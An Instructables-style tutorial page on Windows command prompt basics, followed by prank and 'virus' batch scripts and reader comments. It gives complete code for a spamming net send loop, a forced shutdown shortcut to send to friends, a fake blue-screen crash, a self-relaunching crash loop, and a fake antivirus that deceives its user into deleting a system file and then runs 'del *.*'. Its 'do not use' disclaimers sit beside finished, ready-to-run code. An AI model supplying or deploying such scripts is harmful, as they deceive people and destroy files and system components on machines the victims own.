CMD Tricks 101

686,316

51

113

Published

Introduction: CMD Tricks 101

This will teach you how to do CMD.

CMD is the original MS-DOS command prompt, the Shell.

First, click START
Then press Run...
Type CMD or COMMAND
This window should appear

Step 1: EDIT: the Worlds Worst Editor

type EDIT Example.TXT
this window should appear
type whatever you want(I said hello ppl at INSTRUCTABLES)
I said it was the worlds worst cause it is, it stinks only one size, one font, one color.
At least no stoopid spell check...................
But good for batch...

Step 2: BATCH FILES ROCK

Batch files, with a .BAT extension, are BATCHes of MS-DOS commands, executed togther.
This is just basic, try Advanced,
BATCH MOVIES

@echo off stops commands from being shown.

echo sends whatever is after it to the screen
echo hi ppl

del deletes whatever file is after it, or del *.* deletes every file in the folder
del example.txt

cd changes to whatever folder is after it, or cd .. goes back one
cd desktop

format formats whatever disk is after it
format A:

Step 3: A Funny Little Prank

create a new document in edit:
edit annoy.bat
remember what folder its in!
type without quotes: "@echo OFF
:start
netsend /domain message goes here
goto start"
replace message goes here with a message.
move it to the desktop
run it!

Step 4: Shutdown the Comp!

go to cmd
type: shutdown -s -t 20 -f -c "shutting down..............."

SEND TO SOMEONE ELSE!
right click desktop
new>shortcut
shutdown -s -t 20 -f -c "shutting down..............." in the box
next
a name in the box
finish
send to a friend!

Step 5: BSOD(Blue Screen of Death)

to create the BSOD, make a batch file, then type what's between the stars

*****************************************************

@echo off
cd /
cls
color 17
echo A problem has been detected and Windows has been shut down to prevent damage
echo to your computer.
echo.
echo The problem seems to be caused by the following file: SPCMDCON.SYS
echo.
echo PAGE_FAULT_IN_NONPAGED_AREA
echo.
echo If this is the first time you've seen this stop error screen,
echo restart your computer. If this screen appears again, follow
echo these steps:
echo.
echo Check to make sure any new hardware or software is properly installed.
echo If this is a new installation, ask your hardware or software manufacturer
echo for any Windows updates you might need.
echo.
echo If problems continue, disable or remove any newly installed hardware
echo or software. Disable BIOS memory options such as caching or shadowing.
echo If you need to use Safe Mode to remove or disable components, restart
echo your computer, press F8 to select Advanced Startup Options, and then
echo select Safe Mode.
echo.
echo Technical information:
echo.
echo *** STOP: 0x00000050 (0xFD3094C2,0x00000001,0xFBFE7617,0x00000000)
echo.
echo.
echo *** SPCMDCON.SYS - Address FBFE7617 base at FBFE5000, DateStamp 3d6dd67c
pause >nul
cls
echo Downloading viruses . . .
ping localhost -n 5 >nul
dir /s
pause >nul
shutdown -s -t 120 -c "Your computer has committed suicide, have a nice day."
*****************************************************
note no damage is done, just prints all files to screen, then shuts down.

Step 6: MS DOS Is NOT DEAD!

MS-DOS isn't dead!!!
You can boot up in MS-DOS my making a boot disk. A program to do that is attached here.

Step 7: Very Mean Viruses DO NOT USE

this virus can wreck a drive DO NOT NOT NOT USE, REPEAT DO NOT USE!

THESE ARE ILLEGAL.

i no this will be contrversial, so i quote: Congress shall make no law respecting an establishment of religion, or prohibiting the free exercise thereof; or abridging the freedom of speech, or of the press...

OK I say one more time(last time really) DO NOT RELEASE!!!!!!!!!!!!

ok #1 DEADLY BSOD :

*****************************************************

@echo off
cd /
cls
color 17
echo A problem has been detected and Windows has been shut down to prevent damage
echo to your computer.
echo.
echo The problem seems to be caused by the following file: SPCMDCON.SYS
echo.
echo PAGE_FAULT_IN_NONPAGED_AREA
echo.
echo If this is the first time you've seen this stop error screen,
echo restart your computer. If this screen appears again, follow
echo these steps:
echo.
echo Check to make sure any new hardware or software is properly installed.
echo If this is a new installation, ask your hardware or software manufacturer
echo for any Windows updates you might need.
echo.
echo If problems continue, disable or remove any newly installed hardware
echo or software. Disable BIOS memory options such as caching or shadowing.
echo If you need to use Safe Mode to remove or disable components, restart
echo your computer, press F8 to select Advanced Startup Options, and then
echo select Safe Mode.
echo.
echo Technical information:
echo.
echo *** STOP: 0x00000050 (0xFD3094C2,0x00000001,0xFBFE7617,0x00000000)
echo.
echo.
echo *** SPCMDCON.SYS - Address FBFE7617 base at FBFE5000, DateStamp 3d6dd67c
pause >nul
cls
echo Downloading viruses . . .
ping localhost -n 5 >nul
cd c:\
dir /s
pause >nul
shutdown -s -t 120 -c "Your computer has committed suicide, have a nice day."
:dead
start bsod.bat
goto dead
*******************************************************************
NOTE: NO permanent damage.

2:Fake Antivir
*****************************************************************************************************
@echo OFF
echo This program will purge any ak$327 viruses on your computer.
echo SEARCHing (lots of text, may take a while, just
echo wait, will beep when finished.)
pause
cd C:\
dir /s
echo 
echo 
echo 
echo Done searching, PRESS ENTER or RETURN KEY TO DISPLAY
pause>nul
echo Displaying infected files
echo Files infected with ak$327:
echo short full
echo 1:pacerprf.ini displaying on next line
echo Full path:
echo C:\Windows\inf\Psched\0009\pacerprf.ini
echo 2:memtest.exe C:\Windows\Boot\PCAT\memtest.exe
pause
echo WARNING
echo MEMTEST.EXE WILL PERMENENTLY DELETE YOUR
echo SYSTEM ON A SPECIFIED DATE!
ECHO DELETE IMMEDIATLY, OR LET ME!
echo close now if you want to delete it yourself.
echo otherwise press space
echo note to please run this on an ADMINISTRATOR account.
pause>nul
echo Confirm if prompted by pressing y then enter or return........
del C:\Windows\Boot\PCAT\memtest.exe
Pause
echo thanks for using this program, please delete this too:
echo C:\Windows\inf\Psched\0009\pacerprf.ini
pause@echo off
del *.*
y

Step 8: FINISHED!

take this test!
*******************************************
what does del do?

what does format do?

what does echo do?
******************************************
check your answers!

Share

    Recommendations

    • Casting Contest

      Casting Contest
    • Make it Move Contest

      Make it Move Contest
    • Spotless Contest

      Spotless Contest
    user

    We have a be nice policy.
    Please be positive and constructive.

    Tips

    Questions

    113 Comments

    good trick

    must read http://entertainment7899.blogspot.com/2015/07/undeletable-folder.html

    wow easy and nice

    I have to say ...Awesome tricks just love these all.

    Thank you for sharing..

    Some more Latest cmd tricks are here feel free to visit
    http://grabguides.com/latest-command-prompt-tricks-cmd-tricks

    The edit thing to make or edit files and stuff doesnt work, it says: 'edit' is not recognized as an internal or external command, operable program or batch file.

    3 replies

    Probably because your computer is 64 bit.

    so u mean no way for 64 bit computers to edit?

    No you cant use edit on a 64bit computer

    i want to create .bat file

    cmd in run file

    cd hard disk

    winvnc

    only these world

    preetkainth007@live.com

    +918198077688

    i want to create .bat file

    cmd in run file

    cd hard disk

    winvnc

    only these world

    preetkainth007@live.com

    +918198077688

    ok i am trying a remote shutdown on a computer that is on my network but it is hardwired into the network and i am on a wireless computer any suggestions?

    1 reply

    so.... Go onto the computer you are gonna remote shutdown, go on cmd and type "Hostname" without quotes and then the hostname should pop up... then go on your computer and type into cmd "Shutdown /i" without quotes, and a window should pop up and at the top of it click the button "Add Computers" then type in the hostname of the other comp

    For those who want full screen . after first text box hit enter soi you have a new 2nd line and type "mode 1000" without "".

    This makes full screen but also make sure command prompt is on top left corner of screen or it will be half off screen

    THat was cool but now I will show you guys many goodthings see my instructable

    if you try to delete the c: drive, doesnt it ask you if you realy want to like: (Y/N) or something like that?

    You would have to add /p or -p after del for it to prompt you

    You can't delete an entire HDD partition within 1 second w/ out the guy knowing... Or can you?